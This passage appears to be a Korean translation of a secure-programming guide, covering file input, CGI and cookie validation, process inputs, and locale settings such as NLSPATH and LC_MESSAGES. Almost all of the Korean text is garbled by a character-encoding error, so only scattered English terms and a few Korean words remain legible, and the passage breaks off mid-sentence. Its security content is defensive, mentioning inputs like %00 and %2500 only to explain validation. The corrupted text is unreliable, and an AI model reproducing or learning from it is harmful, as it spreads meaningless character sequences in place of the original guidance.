ÀÌ¿¡ ´ëÇÑ ³í¸®Àû ±Ù°Å´Â ½±´Ù; °ø°ÝÀÚ°¡ ÇÁ·Î±×·¥ ½ÃÀÛÀü¿¡ ÆÄÀÏ ±â¼úÀÚ¸¦ ¿­°Å³ª ´ÝÀ» ¼ö Àֱ⠶§¹®¿¡ ¿¹±âÄ¡ ¾ÊÀº »óȲÀ» »ý¼ºÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. °ø°ÝÀÚ°¡ Ç¥ÁØ Ãâ·ÂÀ» ´Ý´Â ´Ù¸é ÇÁ·Î±×·¥ÀÌ ´ÙÀ½ ÆÄÀÏÀ» ¿­ ¶§ ÀÌ ÆÄÀÏÀÌ Ç¥ÁØ Ãâ·ÂÀÎ °Íó·³ ¿­·ÁÁú °ÍÀÌ¸ç °ð ¸ðµç Ç¥ÁØ Ãâ·ÂÀ» ±× ÆÄÀÏ·Î º¸³¾ °ÍÀÌ´Ù. ¾î¶² C ¶óÀ̺귯¸®´Â stdin, stdout ¿Í stderr ÀÌ (/dev/null ¿¡) ÀÌ¹Ì ¿­·ÁÁ® ÀÖÁö ¾Ê´Ù¸é À̵éÀ» ÀÚµ¿ÀûÀ¸·Î ¿­ °ÍÀÌ´Ù. ¹°·Ð ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ µ¿ÀÏÇÏ°Ô Àû¿ëµÇÁö´Â ¾Ê´Â´Ù.


4.4. ÆÄÀÏ ÄÁÅÙÃ÷

ÇÁ·Î±×·¥ÀÌ ÆÄÀϷκÎÅÍ ¸í·ÉÀ» ¹Þ´Â´Ù ÇÏ´õ¶óµµ ƯÈ÷ ´ÜÁö ½Å·ÚÇÒ ¼ö ÀÖ´Â »ç¿ëÀÚ¸¸ÀÌ ±× ³»¿ëÀ» Á¦¾îÇÒ ¼ö ¾ø´Ù¸é ±× ÆÄÀÏÀ» ½Å·ÚÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. º¸Åë ÀÌ´Â ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀÚ°¡ ÆÄÀÏ, ±× µð·ºÅ丮 ¶Ç´Â ¸ðµç Á¶»ó µð·ºÅ丮¸¦ º¯°æÇÒ ¼ö ¾ø¾î¾ß ÇÑ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ±×·¸Áö ¾Ê´Ù¸é ±× ÆÄÀÏÀ» Á¶½É½º·´°Ô ´Ù·ï¾ß ÇÑ´Ù.

ÆÄÀϳ» ¸í·ÉÀÌ ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀڷκÎÅÍ ¿Â °ÍÀ̶ó¸é ÆÄÀϷκÎÅÍÀÇ ÀÔ·ÂÀÌ ÀÌ Ã¥À» ÅëÇØ ±â¼úÇÑ ¹Ù¿Í °°ÀÌ º¸È£µÇ°í ÀÖ´ÂÁö¸¦ È®ÀÎÇØ¶ó. ƯÈ÷ ÀÏ·ÃÀÇ ÇÕ¹ýÀûÀÎ °ªµé°ú ÀÏÄ¡µÇ´ÂÁö ¹öÆÛ ¿À¹öÇ÷ο찡 ¾ø´Â Áö¸¦ °Ë»çÇØ¶ó.


4.5. À¥ ±â¹Ý ¾ÖÇø®ÄÉÀÌ¼Ç ÀÔ·Â (ƯÈ÷ CGI ½ºÅ©¸³Æ®)

CGI ½ºÅ©¸³Æ®¿Í °°Àº À¥ ±â¹Ý ¾ÖÇø®ÄÉÀ̼ÇÀº ´Ù¼ÒÀÇ ½Å·ÚµÈ ¼­¹ö¿¡¼­ ½ÇÇàµÇ°í À¥À» ÅëÇØ ¾î¶»°Ôµç ÀÔ·Â µ¥ÀÌŸ¸¦ ¾ò¾î¾ß ÇÑ´Ù. ÀÔ·Â µ¥ÀÌŸ´Â ÀϹÝÀûÀ¸·Î ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀڷκÎÅÍ ¿À±â ¶§¹®¿¡ ÀÌ ÀÔ·Â µ¥ÀÌŸÀÇ Á¤´ç¼ºÀº ÀÔÁõµÇ¾î¾ß Çϴµ¥ ½ÇÀº ÀÌ Á¤º¸°¡ ½ÇÁ¦ ½Å·ÚÇÒ ¼ö ¾ø´Â Á¦ »ïÀڷκÎÅÍ ¿Ã ¼öµµ ÀÖ´Ù; ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.13절 À» º¸¶ó. ¿¹¸¦ µé¾î, CGI ½ºÅ©¸³Æ®´Â ÀÏ·ÃÀÇ Ç¥ÁØ È¯°æ º¯¼öµé°ú Ç¥ÁØ ÀÔ·ÂÀ» ÅëÇØ ÀÌ Á¤º¸¸¦ ³Ñ°Ü¹Þ´Â´Ù. ÀÌ ÅØ½ºÆ®ÀÇ ³ª¸ÓÁö´Â CGI ½ºÅ©¸³Æ®°¡ µ¿Àû À¥ ÄÁÅÙÆ®¸¦ ±¸ÇöÇÏ´Â °¡Àå °øÅëµÈ ±â¼úÀ̱⠶§¹®¿¡ À̸¦ ±¸Ã¼ÀûÀ¸·Î ³íÀÇÇÒ °ÍÀÌ´Ù. ¹°·Ð ÀϹÝÀûÀÎ ÇÙ½ÉÀº ´ëºÎºÐÀÇ ´Ù¸¥ µ¿Àû À¥ ÄÁÅÙÆ® ±â¹ý¿¡ µ¿ÀÏÇÏ°Ô Àû¿ëµÈ´Ù

¸¹Àº CGI ½ºÅ©¸³Æ®ÀÇ ÀÔ·ÂÀº ¼ÒÀ§ ``URL-encoded" Æ÷¸ËÀ¸·Î Á¦°øµÇ±â ¶§¹®¿¡, Áï ¾î¶² °ªÀÌ %HH Æ÷¸Ë (HH ´Â ±× ¹ÙÀÌÆ®¿¡ ´ëÇÑ ½ÊÀ°Áø¼ö ÄÚµå) À¸·Î ¾²¿© Àֱ⶧¹®¿¡ ÇѰ¡Áö Ãß°¡ÀûÀÎ º¹À⼺À» ´õÇÑ´Ù. °¢ÀÚ ¶Ç´Â CGI ¶óÀ̺귯¸®´Â ÀÔ·ÂÀ» URL-decoding ÇÑ ÈÄ ±× ¹ÙÀÌÆ® °ªÀÌ ¹Þ¾ÆµéÀÏ ¼ö ÀÖ´ÂÁö °Ë»çÇÔÀ¸·Î½á ÀÌ·¯ÇÑ ÀÔ·ÂÀ» Á¤È®È÷ ´Ù·ï¾ß ÇÑ´Ù. %00 (NIL) °ú %0A (°³Çà) °ú °°Àº ¹®Á¦°¡ ÀÖ´Â °ªÀ» Æ÷ÇÔÇÑ ¸ðµç °ªÀ» Á¤È®È÷ ´Ù·ï¾ß ÇÑ´Ù. ÀÔ·ÂÀ» ÇÑ ¹ø ÀÌ»ó µðÄÚµåÇÏÁö ¸¶¶ó. ±×·¸Áö ¾ÊÀ¸¸é %2500 °°Àº ÀÔ·ÂÀº ÀÌ»óÇÏ°Ô ´Ù·ïÁú °ÍÀÌ´Ù (``%25" ´Â ``%" ·Î ÀüȯµÇ¸ç ±× °á°ú »ý±ä ``%00" Àº Ʋ¸®°Ô NIL ¹®ÀÚ·Î ÀüȯµÉ °ÍÀÌ´Ù).

CGI ½ºÅ©¸³Æ®´Â ÀϹÝÀûÀ¸·Î ÀԷ¿¡ Ưº° ¹®ÀÚ¸¦ Æ÷ÇÔÇÔÀ¸·Î½á °ø°Ý¹Þ´Âµ¥ À§ÀÇ ¼³¸íÀ» º¸¶ó.

À¥ ±â¹Ý ¾ÖÇø®ÄÉÀ̼ǿ¡ »ç¿ëÇÒ ¼ö ÀÖ´Â ´Ù¸¥ µ¥ÀÌŸ ÇüÅ´ ``ÄíŰ"ÀÌ´Ù. »ç¿ëÀÚ´Â ÀÓÀÇÀÇ ÄíŰ °ªÀ» Á¦°øÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ Ưº°ÇÑ »çÀü Á¶Ä¡¸¦ ÃëÇÏÁö ¾Ê´Â´Ù¸é ½Å·ÚµÉ ¸® ¾ø´Ù. ¶ÇÇÑ ÄíŰ´Â »ç¿ëÀÚ ÃßÀû¿¡ »ç¿ëÇÒ ¼ö Àִµ¥ ÀÌ´Â ¸¹Àº »ç¿ëÀڵ鿡 ´ëÇØ »ç»ýȰ Ä§ÇØ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Ù. ±× °á°ú ¸¹Àº »ç¿ëÀÚ´Â Äí۸¦ ±ÝÁöÇϰí ÀÖÀ¸¸ç µû¶ó¼­ °¡´ÉÇÏ´Ù¸é À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ÄíŰ »ç¿ëÀÌ ÇÊ¿äÄ¡ ¾Êµµ·Ï ¼³°èµÇ¾î¾ß ÇÑ´Ù (±×·¯³ª °¢ »ç¿ëÀÚµéÀ» ÀÎÁõÇØ¾ß ÇÒ¶§¿¡ ´ëÇÑ ÀúÀÚÀÇ ³íÀǸ¦ º¸¶ó). ÀúÀÚ´Â ÇöÀç ¼¼¼ÇÀÌ Á¾·áµÈ ÈÄ¿¡µµ ³²¾ÆÀÖ´Â ¿µ¼ÓÀûÀÎ ÄíŰ »ç¿ëÀ» ÇÇÇϰųª Á¦ÇÑÇϵµ·Ï ±ÇÇÑ´Ù. Á¤¸»·Î ¹Ì±¹ÀÇ ¿¡ÀÌÀü½ÃµéÀº Ưº°ÇÑ È¯°æÀ» Á¦¿ÜÇϰí´Â »ç»ýȰ Ä§ÇØ¿¡ ´ëÇÑ ¿ì·Á¶§¹®¿¡ ¿µ¼ÓÀûÀÎ ÄíŰ »ç¿ëÀÌ ±ÝÁöµÇ¾î ÀÖ´Ù; OMB guidance in memorandum M-00-13 (June 22, 2000) ¸¦ º¸¶ó. Äí۸¦ »ç¿ëÇÒ ¶§ ¸î¸î ºê¶ó¿ìÀú´Â ´ç½ÅÀº »ç»ýȰ ÇÁ·ÎÆÄÀÏ (¼­¹öÀÇ ·çÆ® µð·ºÅ丮³»¿¡ p3p.xml À̶ó´Â) À» °®°í ÀÖ´Ù°í ÁÖÀåÇÒ ¼ö ÀÖÀ½¿¡ ÁÖÀÇÇØ¶ó.

¸î¸î HTML ÆûÀº ¾î¶² ºñÇÕ¹ýÀûÀÎ °ªÀ» ¿¹¹æÇϱâ À§ÇØ Å¬¶óÀÌ¾ðÆ® Ãø¿¡¼­ÀÇ ÀÔ·Â °Ë»ç¸¦ Æ÷ÇÔÇϰí ÀÖÀ¸¸ç ÀÌ´Â ÀϹÝÀûÀ¸·Î ÀÚ¹Ù½ºÅ©¸³Æ®/ECMA ½ºÅ©¸³Æ® ¶Ç´Â ÀÚ¹Ù¸¦ »ç¿ëÇÏ¿© ±¸ÇöµÈ´Ù. ÀÌ °Ë»ç´Â ¾î¶°ÇÑ ³×Æ®¿öÅ© Á¢±Ùµµ ¿äÇÏÁö ¾ÊÀ¸¸é¼­ ``Áï°¢Àû"À¸·Î ÇÒ ¼ö Àֱ⠶§¹®¿¡ »ç¿ëÀÚ¿¡°Ô À¯¿ëÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ÀÌ Á¾·ùÀÇ ÀÔ·Â °Ë»ç´Â °ø°ÝÀÚ°¡ °Ë»ç¸¦ ¹ÞÁö ¾Ê°íµµ À¥ ¼­¹ö¿¡ Á÷Á¢ÀûÀ¸·Î ºñÇÕ¹ýÀûÀÎ °ªÀ» º¸³¾ ¼ö Àֱ⶧¹®¿¡ º¸¾È¿¡ ´ëÇØ¼­´Â ¹«¿ëÁö¹°ÀÌ´Ù. À̸¦ ¸·´Â °ÍÀÌ ¾î·ÁÁö´Â ¾ÊÁö¸¸ ÀÓÀÇÀÇ µ¥ÀÌŸ¸¦ À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ º¸³»´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ÀϹÝÀûÀ¸·Î ¼­¹ö´Â Ŭ¶óÀÌ¾ðÆ®°¡ ÀÌ °Ë»ç¸¦ º¸¾ÈÀûÀ¸·Î ¼öÇàÇϵµ·Ï ÇÒ ¼ö ¾ø±â ¶§¹®¿¡ ¸ðµç ÀÚ½ÅÀÇ ÀÔ·Â (Æû µ¥ÀÌŸ, ÄíŰ µî) ¿¡ ´ëÇØ °Ë»ç¸¦ ¼öÇàÇØ¾ß ÇÑ´Ù. ¿ä¾àÇϸé ÀϹÝÀûÀ¸·Î Ŭ¶óÀÌ¾ðÆ®´Â ``½Å·ÚÇÒ ¼ö Àִ ä³Î"ÀÌ ¾Æ´Ï¶ó´Â °ÍÀÌ´Ù. ÀÌ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.9절 À» º¸¶ó.

¸¶ÀÌÅ©·Î¼ÒÇÁÆ®»çÀÇ Active Server Pages (ASP) ¸¦ »ç¿ëÇÏ´Â »ç¶÷µéÀº ÀÔ·Â À¯È¿È­¿¡ ´ëÇÑ ÂªÀº ³íÀǸ¦ http://heap.nologin.net/aspsec.html ÀÇ Jerry Connolly ·ÎºÎÅÍ ¾òÀ» ¼ö ÀÖ´Ù.


4.6. ´Ù¸¥ ÀÔ·Â

ÇÁ·Î±×·¥Àº ¸ðµç ÀÔ·ÂÀÌ Á¦¾îµÇ°í ÀÖ´ÂÁö¸¦ º¸ÁõÇØ¾ß ÇÑ´Ù; ÀÌ´Â setuid/setgid ÇÁ·Î±×·¥ÀÇ °æ¿ì ¸Å¿ì ¸¹Àº ÀÔ·ÂÀÌ Àֱ⠶§¹®¿¡ ƯÈ÷ ¾î·Æ´Ù. ÇÁ·Î±×·¥ÀÌ °í·ÁÇØ¾ß ÇÏ´Â ´Ù¸¥ ÀÔ·ÂÀ¸·Î´Â ÇöÀç µð·ºÅ丮, ½Ã±×³Î, ¸Þ¸ð¸® ¸Ê (mmaps), System V IPC ¿Í umask (»õ·Ó°Ô »ý¼ºµÈ ÆÄÀÏÀÇ µðÆúÆ® Çã°¡¸¦ °áÁ¤ÇÑ´Ù) °¡ ÀÖ´Ù. ÇÁ·Î±×·¥ ½Ãµ¿½Ã µð·ºÅ丮¸¦ ÀûÀýÇÑ ¿ÏÀüÇÑ À̸§À» °®´Â µð·ºÅ丮·Î º¯°æ (chdir(2) ¸¦ »ç¿ëÇÏ¿©) ÇÏ´Â °ÍÀ» °í·ÁÇØ¶ó.


4.7. Àΰ£ ¾ð¾î (·ÎÄÉÀÏ) ¼±ÅÃ

´õ¿í ¸¹Àº »ç¶÷µéÀÌ ÄÄÇ»Å͸¦ °®°ÔµÇ°í ÀÎÅͳÝÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ°Ô µÊ¿¡ µû¶ó ¸¹Àº ¾ð¾î¿Í ¹®È­¸¦ Áö¿øÇÏ´Â ÇÁ·Î±×·¥¿¡ ´ëÇÑ ¿ä±¸°¡ Á¡Á¡ Áõ´ëµÇ¾î ¿Ô´Ù. ÀÌ·¯ÇÑ ¾ð¾î¿Í ´Ù¸¥ ¹®È­Àû ¿ä¼ÒÀÇ °áÇÕÀ» º¸Åë ``·ÎÄÉÀÏ (locale)" À̶ó°í ÇÑ´Ù. ´Ù¼öÀÇ ·ÎÄÉÀÏÀ» Áö¿øÇÒ ¼ö ÀÖµµ·Ï ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ´Â °úÁ¤°ú ÇÁ·Î±×·¥¿¡ °¢ ·ÎÄÉÀÏÀÇ Á¤º¸¸¦ Á¦°øÇÏ´Â °úÁ¤À» °¢°¢ ``±¹Á¦È­ (internalization)" (i18n) ¿Í ``Áö¿ªÈ­ (localization)" (l10n) ¶ó°í ÇÑ´Ù.

Àü¹ÝÀûÀ¸·Î ±¹Á¦È­´Â ÈǸ¢ÇÑ ÀÛ¾÷ÀÌÁö¸¸ º¸¾È ¾Ç¿ë¿¡ ´ëÇÑ ´Ù¸¥ ±âȸ¸¦ Á¦°øÇÑ´Ù. ÀáÀçÀûÀ¸·Î ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀÚ°¡ ¿øÇÏ´Â ·ÎÄÉÀÏ¿¡ ´ëÇÑ Á¤º¸¸¦ Á¦°øÇϱ⠶§¹®¿¡ ·ÎÄÉÀÏ ¼±ÅÃÀº ÀûÀýÈ÷ º¸È£µÇÁö ¸øÇÑ´Ù¸é °ø°Ý¿¡ ¾Ç¿ëµÉ ¼ö ÀÖ´Â ¶Ç´Ù¸¥ ÀÔ·ÂÀÌ µÈ´Ù.


4.7.1. ·ÎÄÉÀÏ ¼±Åà ¹æ¹ý

setuid/setgid ÇÁ·Î±×·¥À» Æ÷ÇÔÇÏ¿© ·ÎÄ÷Π½ÇÇàµÇ´Â ÇÁ·Î±×·¥¿¡¼­ ·ÎÄÉÀÏ Á¤º¸´Â ȯ°æ º¯¼ö¿¡ ÀÇÇØ Á¦°øµÈ´Ù. µû¶ó¼­ ´Ù¸¥ ¸ðµç ȯ°æ º¯¼ö¿Í °°ÀÌ ÀÌ °ªÀº ÃßÃâµÇ¾î »ç¿ëÀü À¯È¿ÇÑ ÆÐÅÏ¿¡ ´ëÇØ °Ë»çµÇ¾î¾ß ÇÑ´Ù.

À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÇ °æ¿ì ÀÌ Á¤º¸´Â (Accept-Language request header ¸¦ ÅëÇØ) À¥ ºê¶ó¿ìÀú¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. ±×·¯³ª ¸ðµç À¥ ºê¶ó¿ìÀú°¡ ÀÌ Á¤º¸¸¦ ÀûÀýÈ÷ ³Ñ°ÜÁÖÁö ¾Ê±â ¶§¹®¿¡ (¸ðµç »ç¿ëÀÚ°¡ ÀûÀýÈ÷ À¥ ºê¶ó¿ìÀú¸¦ ¼³Á¤ÇÏÁö ¸øÇϱ⠶§¹®¿¡) »ý°¢ÇÏ´Â °Íº¸´Ù ±×´ÙÁö ¸¹ÀÌ »ç¿ëµÇÁö ¾Ê°í ÀÖ´Ù. ´ë°³ À¥ ºê¶ó¿ìÀú¿¡¼­ ¿äûµÈ ¾ð¾î´Â Æû °ªÀ¸·Î ´Ü¼øÈ÷ ³Ñ°ÜÁö´Âµ¥ ÀÌ °ªÀº ´Ù¸¥ ¸ðµç Æû °ª°ú ¸¶Âù°¡Áö·Î »ç¿ëÀü¿¡ ±× Ÿ´ç¼ºÀÌ °Ë»çµÇ¾î¾ß ÇÑ´Ù.

°¢°¢ÀÇ °æ¿ì¿¡ ÀÖ¾î ·ÎÄÉÀÏ Á¤º¸´Â Á¤¸»·Î ÀÌÀü Àý¿¡¼­ ³íÀÇÇÑ ÀÔ·ÂÀÇ Æ¯º°ÇÑ °æ¿ìÀÌ´Ù. ±×·¯³ª ÀÌ ÀÔ·ÂÀº °ÅÀÇ °í·ÁµÇ°í ÀÖÁö ¾Ê±â ¶§¹®¿¡ ÀúÀÚ´Â À̸¦ º°µµ·Î ³íÀÇÇÏ´Â °ÍÀÌ´Ù. ƯÈ÷ µÚ¿¡¼­ ³íÀÇÇÒ Æ÷¸Ë ¹®ÀÚ¿­°ú °áÇÕµÉ ¶§ »ç¿ëÀÚ°¡ Á¦¾îÇÏ´Â ¹®ÀÚ¿­Àº °ø°ÝÀÚ·Î ÇÏ¿©±Ý ´Ù¸¥ ÇÁ·Î±×·¥À¸·Î ÀÓÀÇÀÇ ¸í·É ½ÇÇà, µ¥ÀÌŸ ÆÄ±« ¹× ´Ù¸¥ ºÎÀû´çÇÑ ÇàÀ§¸¦ ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù.


4.7.2. ·ÎÄÉÀÏ Áö¿ø ¸ÞÄ«´ÏÁò

À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡´Â ·ÎÄÉÀÏ ¼±Åà ¸Þ¼¼Áö¸¦ Áö¿øÇÏ´Â ``catgets" ¿Í ``gettext" ¶ó ºÒ¸®´Â µÎ Áß¿äÇÑ ¶óÀ̺귯¸® ÀÎÅÍÆäÀ̽º°¡ ÀÖ´Ù. catgets ¹æ¹ý¿¡¼­ ¸ðµç ¹®ÀÚ¿­¿¡´Â ¸Þ½ÃÁö Å×À̺íÀ» »öÀÎÇϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Â °íÀ¯ ¼ýÀÚ°¡ ÇÒ´çµÈ´Ù. ¹Ý´ë·Î gettext ¹æ¹ý¿¡¼­´Â ¿ø·¡ ¹®ÀÚ¿­À» Àüȯ½ÃŲ Å×À̺íÀ» °Ë»öÇϴµ¥ ¹®ÀÚ¿­ (º¸Åë ¿µ¾î·Î µÈ) ÀÌ »ç¿ëµÈ´Ù. catgets(3) Àº X/Open Portability Guide, Volume 3 °ú Single Unix Specificatoin À» ÅëÇØ ¼ö¿ëµÈ Ç¥ÁØÀÌ¸ç µû¶ó¼­ ÇÁ·Î±×·¥ÀÌ À̸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù. gettext ÀÎÅÍÆäÀ̽º´Â º»·¡ UniForum Á¦¾ÈÀÓ¿¡µµ ºÒ±¸ÇÏ°í °ø½Ä Ç¥ÁØÀº ¾Æ´Ñµ¥ ÀúÀÚ´Â À̰ÍÀÌ º¸´Ù ³Î¸® »ç¿ëµÇ°í ÀÖ´Â ÀÎÅÍÆäÀ̽º¶ó°í »ý°¢ÇÑ´Ù (½ã°ú º»ÁúÀûÀ¸·Î ¸ðµç GNU ÇÁ·Î±×·¥¿¡ ÀÇÇØ »ç¿ëµÇ°í ÀÖ´Ù).

À̷лó catgets °¡ ¾à°£ ´õ ºü¸£Áö¸¸ ¿À´Ã³¯ ¸Ó½Å¿¡¼­´Â ±â²¯ÇØ¾ß ÃÖ¼ÒÇÑ (ÀÌÂ÷ÀûÀÎ ¹®Á¦) À̸ç catgets() ¿¡¼­ °íÀ¯ ½Äº°ÀÚ¸¦ À¯È¿ÇÏ°Ô ÇÏ·Á´Â ºÎ±â (bookkeeping) ³ë·ÂÀº gettext() ÀÎÅÍÆäÀ̽º¸¦ ´õ¿í »ç¿ëÇϱ⠽±°Ô ¸¸µé°í ÀÖ´Ù. ÀúÀÚ´Â ´ÜÁö gettext() °¡ »ç¿ëÇϱ⿡ ´õ¿í ½±±â ¶§¹®¿¡ À̸¦ »ç¿ëÇ϶ó°í ±ÇÇØ¿Ô´Ù. ±×·¯³ª ÀúÀÚÀÇ ¸»À» °ðÀ̵èÁö´Â ¸¶¶ó; ´õ¿í ±æ°í ¼³¸íÀûÀÎ ºñ±³¸¦ À§Çؼ­´Â gettext ¿¡ ´ëÇÑ GNU ¹®¼­ (info:gettext#catgets) ¸¦ º¸¶ó.

catget(3) È£Ãâ (°ú °ü·Ã catopen(3) È£Ãâ) Àº ȯ°æ º¯¼ö NLSPATH °¡ ±¹Á¦È­µÈ ¸Þ½ÃÁö¸¦ ¾ò´Âµ¥ »ç¿ëµÇ´Â ÆÄÀÏÀ̸§À» Á¦¾îÇϴµ¥ »ç¿ëµÉ ¼ö Àֱ⠶§¹®¿¡ ƯÈ÷ º¸¾È ¹®Á¦¿¡ Ãë¾àÇÏ´Ù. GNU C ¶óÀ̺귯¸®´Â setuid/setgid ÇÁ·Î±×·¥¿¡ ´ëÇØ NLSPATH ¸¦ ¹«½ÃÇϴµ¥ ÀÌ´Â À¯¿ëÇÏÁö¸¸ ´Ù¸¥ ±¸Çö¿¡¼­ ½ÇÇàµÇ°í ÀÖ´Â ÇÁ·Î±×·¥À» º¸È£ÇÏÁö ¸øÇÏ¸ç ¶ÇÇÑ ÀÌ·¯ÇÑ º¸È£°¡ ÇÊ¿äÄ¡ ¾Ê¾Æ º¸ÀÌ´Â CGI ½ºÅ©¸³Æ®¿Í °°Àº ´Ù¸¥ ÇÁ·Î±×·¥µµ º¸È£ÇÏÁö ¸øÇÑ´Ù.

³Î¸® »ç¿ëµÇ°í ÀÖ´Â ``gettext" ÀÎÅÍÆäÀ̽º´Â ÀúÀÚ°¡ ¾Ë±â·Î ¾ÇÀǼºÀÖ´Â NLSPATH ¼³Á¤¿¡ Àû¾îµµ °ø°Ý¹ÞÀ» °¡´É¼ºÀº ¾ø´Ù. ±×·¯³ª ÀúÀÚ´Â ¾ÇÀǼºÀÖ´Â LC_ALL ¶Ç´Â LC_MESSAGES ¼³Á¤Àº ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖÀ» °Í°°´Ù°í »ý°¢ÇÑ´Ù. ¶ÇÇÑ cat-compat.c ÆÄÀϳ» gettext ÀÇ bindtextdomain() ·çƾÀ» »ç¿ëÇÑ´Ù¸é ÀÌ´Â NLSPATH ¿¡ ÀÇÁ¸ÇÑ´Ù.


4.7.3. ÇÕ¹ýÀûÀÎ °ª

¿ì¼± ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀÚ¿¡°Ô ¿øÇÏ´Â ·ÎÄÉÀÏ¿¡ ´ëÇÑ Á¤º¸ ¼³Á¤À» Çã¿ëÇÑ´Ù¸é Á¦°øµÈ ±¹Á¦È­ Á¤º¸°¡ ´ÜÁö ±ÔÄ¢¿¡ ¸Â´Â ·ÎÄÉÀÏ À̸§¸¸À» Çã¿ëÇÏ´Â ¾ö¹ÐÇÑ (narrow) ÇÊÅ͸¦ ¸¸Á·½ÃŰ´ÂÁö È®ÀÎÇØ¶ó. »ç¿ëÀÚ ÇÁ·Î±×·¥ (ƯÈ÷ setuid/setgid ÇÁ·Î±×·¥) ÀÇ °æ¿ì ÀÌ·¯ÇÑ °ªÀº NLSPATH, LANGUAGE, LANG, ¿¹Àü LINGUAS, LC_ALL °ú ´Ù¸¥ LC_* (ƯÈ÷ LC_MESSAGES ¹× LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC ¿Í LC_TIME ¸¦ Æ÷ÇÔ) °ªÀ» ÅëÇØ µé¾î¿Ã °ÍÀÌ´Ù. À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÇ °æ¿ì »ç¿ëÀÚ°¡ ¿äûÇÑ ¾ð¾î Á¤º¸ÀÇ ¼³Á¤Àº Accept-Language request header ¶Ç´Â Æû °ªÀ» ÅëÇØ ÀÌ·ç¾î Áú °ÍÀÌ´Ù (¾ÖÇø®ÄÉÀ̼ÇÀº Content-Language heading ¸¦ ÅëÇØ ¹ÝȯµÇ´Â µ¥ÀÌŸÀÇ ½ÇÁ¦ ¾ð¾î ¼³Á¤À» ³ªÅ¸³»¾ß ÇÑ´Ù). »ç¿ëÀÚ°¡ ȯ°æ º¯¼ö¸¦ ¼³Á¤ÇÒ ¼ö Àְųª (¿¹, setuid/setgid ÇÁ·Î±×·¥) ÀÔ·Â ÇÊÅ͸µÀÇ ÀϺκÐÀ¸·Î ¼³Á¤ÇÒ ¼ö ÀÖ´Ù¸é (¿¹, CGI ½ºÅ©¸³Æ®¿¡ ´ëÇØ) ȯ°æ º¯¼ö ÇÊÅ͸µ½Ã ÀÌ °ªÀ» °Ë»çÇØ¾ß ÇÑ´Ù. GNU C ¶óÀ̺귯¸® glibc ´Â setuid/setgid ÇÁ·Î±×·¥¿¡ ´ëÇØ LANG ¿¡ ¸î¸î °ª (ƯÈ÷ "/" ·Î ½ÃÀÛÇÏ´Â ¸ðµç °ª) À» Çã¿ëÇÏÁö ¾ÊÁö¸¸ ÇÊÅ͸µ¿¡¼­ ¿¡·¯°¡ ¹ß°ßµÇ¾î ¿Ô´Ù (·¹µåÇÞ»ç´Â 2000³â 9¿ù 1ÀÏ¿¡ glibc ¹ö±× ¼öÁ¤À» ÇÏ¿© °»½ÅÆÇÀ» ¹èÆ÷ÇÏ¿´´Ù). ÀÌ·¯ÇÑ Á¾·ùÀÇ ÇÊÅ͸µÀÌ ¸ðµç Ç¥ÁØÀÌ ÇÊ¿ä·Î ÇÏÁö´Â ¾Ê´Âµ¥ µû¶ó¼­ °¢ÀÚ ÀÚ½ÅÀÌ ÇÊÅ͸µÇÏ´Â °ÍÀÌ ´õ¿í ¾ÈÀüÇÏ´Ù. ÀúÀÚ´Â ¾ð¾î ¼³Á¤ ÇÊÅ͸µ¿¡ ´ëÇÑ ¾î¶² º»º¸±âµµ ¹ß°ßÇÏÁö ¸øÇßÀ¸¸ç ´ÙÀ½Àº ÀÌ ¹®Á¦¿¡ ´ëÇÑ ÀúÀÚÀÇ ¿¬±¸¿¡ ±âÃÊÇÑ Á¦¾ÈÀÌ´Ù.

¿ì¼± ÇÕ¹ýÀûÀÎ ¼³Á¤ °ª¿¡ ´ëÇØ ¸î¸¶µð. ¾ð¾î ¼³Á¤Àº ÀϹÝÀûÀ¸·Î IETF RFC 1766 ¿¡ Á¤ÀÇµÈ Ç¥ÁØ Å±׸¦ »ç¿ëÇÏ¿© ¼³Á¤µÈ´Ù (±âº» ű׷ΠµÎ ¹®ÀÚÀÇ ±¹°¡ Äڵ带 »ç¿ëÇÏ¸ç ´ë½Ã±âÈ£·Î ±¸ºÐµÇ´Â ¼±ÅÃÀûÀÎ ÇϺΠűװ¡ µû¸¦ ¼ö ÀÖ´Ù; ÀúÀڴ ȯ°æ º¯¼ö ¼³Á¤ÀÌ ´ë½Å ¹ØÁÙÀ» »ç¿ëÇÔÀ» ¹ß°ßÇß´Ù). ±×·¯³ª À̰ÍÀº ±×´ÙÁö À¯¿¬ÇÏÁö ¾ÊÀ¸¸ç µû¶ó¼­ ¼¼ ¹®ÀÚÀÇ ±¹°¡ Äڵ尡 °ð »ç¿ëµÉ ¼öµµ ÀÖ´Ù. ¶ÇÇÑ µÎ°³ÀÇ ÁÖ¿äÇÏÁö¸¸ ±×´ÙÁö ȣȯµÇÁö ¾Ê´Â È®Àå Æ÷¸ËÀÎ X/Open Æ÷¸Ë°ú CEN Æ÷¸Ë (European Community Standard) ÀÌ ÀÖ´Ù; µÑ ¸ðµÎ¸¦ Çã¿ëÇÏ°í ½ÍÀ»Áöµµ 